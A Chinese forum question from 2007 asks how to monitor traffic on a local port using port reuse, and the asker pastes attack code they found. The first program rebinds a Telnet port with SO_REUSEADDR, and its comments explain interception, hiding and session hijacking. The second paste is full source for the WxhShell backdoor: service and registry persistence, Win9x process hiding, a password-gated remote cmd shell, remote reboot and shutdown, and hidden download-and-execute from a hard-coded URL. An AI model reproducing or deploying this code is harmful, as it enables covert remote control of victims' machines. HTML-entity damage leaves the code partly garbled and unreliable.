如何监听记录本机指定端口的进出数据(端口复用) ( 积分: 200 )

小虫77 · 2007-11-11

在网上有很多这方面的代码，但都是VC的请高手帮助给一个方法及源码！谢谢！最好能给个端口复用的代码！下面是我在网上找到的VC示例代码。

-------------------------------VC示例代码-----------------------------------
#include
#include
#include
#include
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!/n&quot

;
return -1;
}
saddr.sin_family = AF_INET;

//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

saddr.sin_addr.s_addr = inet_addr("192.168.0.60&quot

;
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!/n&quot

;
return -1;
}
val = TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!/n&quot

;
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!/n&quot

;
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!/n&quot

;
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隐藏端口应用的话，可以在此处加一些判断
//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1&quot

;
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!/n&quot

;
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!/n&quot

;
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
//如果是嗅探内容的话，可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib&quot

#pragma comment (lib, "urlmon.lib&quot

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="/n/rWxhShell v1.0 (C)2005 http://www.wrsky.com/n/rMake by 虚幻灵者/n/r";
char *msg_ws_prompt="/n/r? for help/n/r#>";
char *msg_ws_cmd="/n/ri Install/n/rr Remove/n/rp Path/n/rb reboot/n/rd shutdown/n/rs Shell/n/rx exit/n/rq Quit/n/r/n/rDownload:/n/r#>http://.../server.exe/n/r";
char *msg_ws_ext="/n/rExit.";
char *msg_ws_end="/n/rQuit.";
char *msg_ws_boot="/n/rReboot...";
char *msg_ws_poff="/n/rShutdown...";
char *msg_ws_down="/n/rSave to ";

char *msg_ws_err="/n/rErr!";
char *msg_ws_ok="/n/rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM//CurrentControlSet//Services//&quot

;
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "//&quot

;
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll&quot

;
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess&quot

;
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0];
if(chr[0]==0xd || chr[0]==0xa) {
pwd=0;
break;
}
i++;
}

// 如果是非法用户，关闭 socket
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
}

send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);

while(1) {

ZeroMemory(cmd,KEY_BUFF);

// 自动支持客户端 telnet标准
j=0;
while(j<KEY_BUFF) {
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cmd[j]=chr[0];
if(chr[0]==0xa || chr[0]==0xd) {
cmd[j]=0;
break;
}
j++;
}

// 下载文件
if(strstr(cmd,"http://&quot) {
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
if(DownloadFile(cmd,wsh))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
}
else {

switch(cmd[0]) {

// 帮助
case '?': {
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
break;
}
// 安装
case 'i': {
if(Install())
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
break;
}
// 卸载
case 'r': {
if(Uninstall())
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
break;
}
// 显示 wxhshell 所在路径
case 'p': {
char svExeFile[MAX_PATH];
strcpy(svExeFile,"/n/r"
strcat(svExeFile,ExeFile);
send(wsh,svExeFile,strlen(svExeFile),0);
break;
}
// 重启
case 'b': {
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
if(Boot(REBOOT))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// 关机
case 'd': {
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
if(Boot(SHUTDOWN))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// 获取shell
case 's': {
CmdShell(wsh);
closesocket(wsh);
ExitThread(0);
break;
}
// 退出
case 'x': {
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
CloseIt(wsh);
break;
}
// 离开
case 'q': {
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
closesocket(wsh);
WSACleanup();
exit(1);
break;
}
}
}

// 提示信息
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
}
}

return;
}

// shell模块句柄
int CmdShell(SOCKET sock)
{
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
PROCESS_INFORMATION ProcessInfo;
char cmdline[]="cmd";
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
return 0;
}

// 自身启动模式
int StartFromService(void)
{
typedef struct
{
DWORD ExitStatus;
DWORD PebBaseAddress;
DWORD AffinityMask;
DWORD BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

PROCNTQSIP NtQueryInformationProcess;

static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;

HANDLE hProcess;
PROCESS_BASIC_INFORMATION pbi;

HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"
if(NULL == hInst ) return 0;

g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll&quot, "NtQueryInformationProcess"

if (!NtQueryInformationProcess) return 0;

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
if(!hProcess) return 0;

if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;

CloseHandle(hProcess);

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
if(hProcess==NULL) return 0;

HMODULE hMod;
char procName[255];
unsigned long cbNeeded;

if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));

CloseHandle(hProcess);

if(strstr(procName,"services&quot) return 1; // 以服务启动

return 0; // 注册表启动
}

// 主模块
int StartWxhshell(LPSTR lpCmdLine)
{
SOCKET wsl;
BOOL val=TRUE;
int port=0;
struct sockaddr_in door;

if(wscfg.ws_autoins) Install();

port=atoi(lpCmdLine);

if(port<=0) port=wscfg.ws_port;

WSADATA data;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;

if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
door.sin_family = AF_INET;
door.sin_addr.s_addr = inet_addr("127.0.0.1"
door.sin_port = htons(port);

if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}

if(listen(wsl,2) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
Wxhshell(wsl);
WSACleanup();

return 0;

}

// 以NT服务方式启动
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
{
DWORD status = 0;
DWORD specificError = 0xfffffff;

serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
if (hServiceStatusHandle==0) return;

status = GetLastError();
if (status!=NO_ERROR)
{
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatus.dwWin32ExitCode = status;
serviceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
return;
}

serviceStatus.dwCurrentState = SERVICE_RUNNING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""
}

// 处理NT服务事件，比如：启动、停止
VOID WINAPI NTServiceHandler(DWORD fdwControl)
{
switch(fdwControl)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
{
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}
return;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
};
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}

// 标准应用程序主函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{

// 获取操作系统版本
OsIsNt=GetOsVer();
GetModuleFileName(NULL,ExeFile,MAX_PATH);

// 从命令行安装
if(strpbrk(lpCmdLine,"iI&quot) Install();

// 下载执行文件
if(wscfg.ws_downexe) {
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
WinExec(wscfg.ws_filenam,SW_HIDE);
}

if(!OsIsNt) {
// 如果时win9x，隐藏进程并且设置为注册表启动
HideProc();
StartWxhshell(lpCmdLine);
}
else
if(StartFromService())
// 以服务方式启动
StartServiceCtrlDispatcher(DispatchTable);
else
// 普通方式启动
StartWxhshell(lpCmdLine);

return 0;
}

如何监听记录本机指定端口的进出数据(端口复用) ( 积分: 200 )

小虫77

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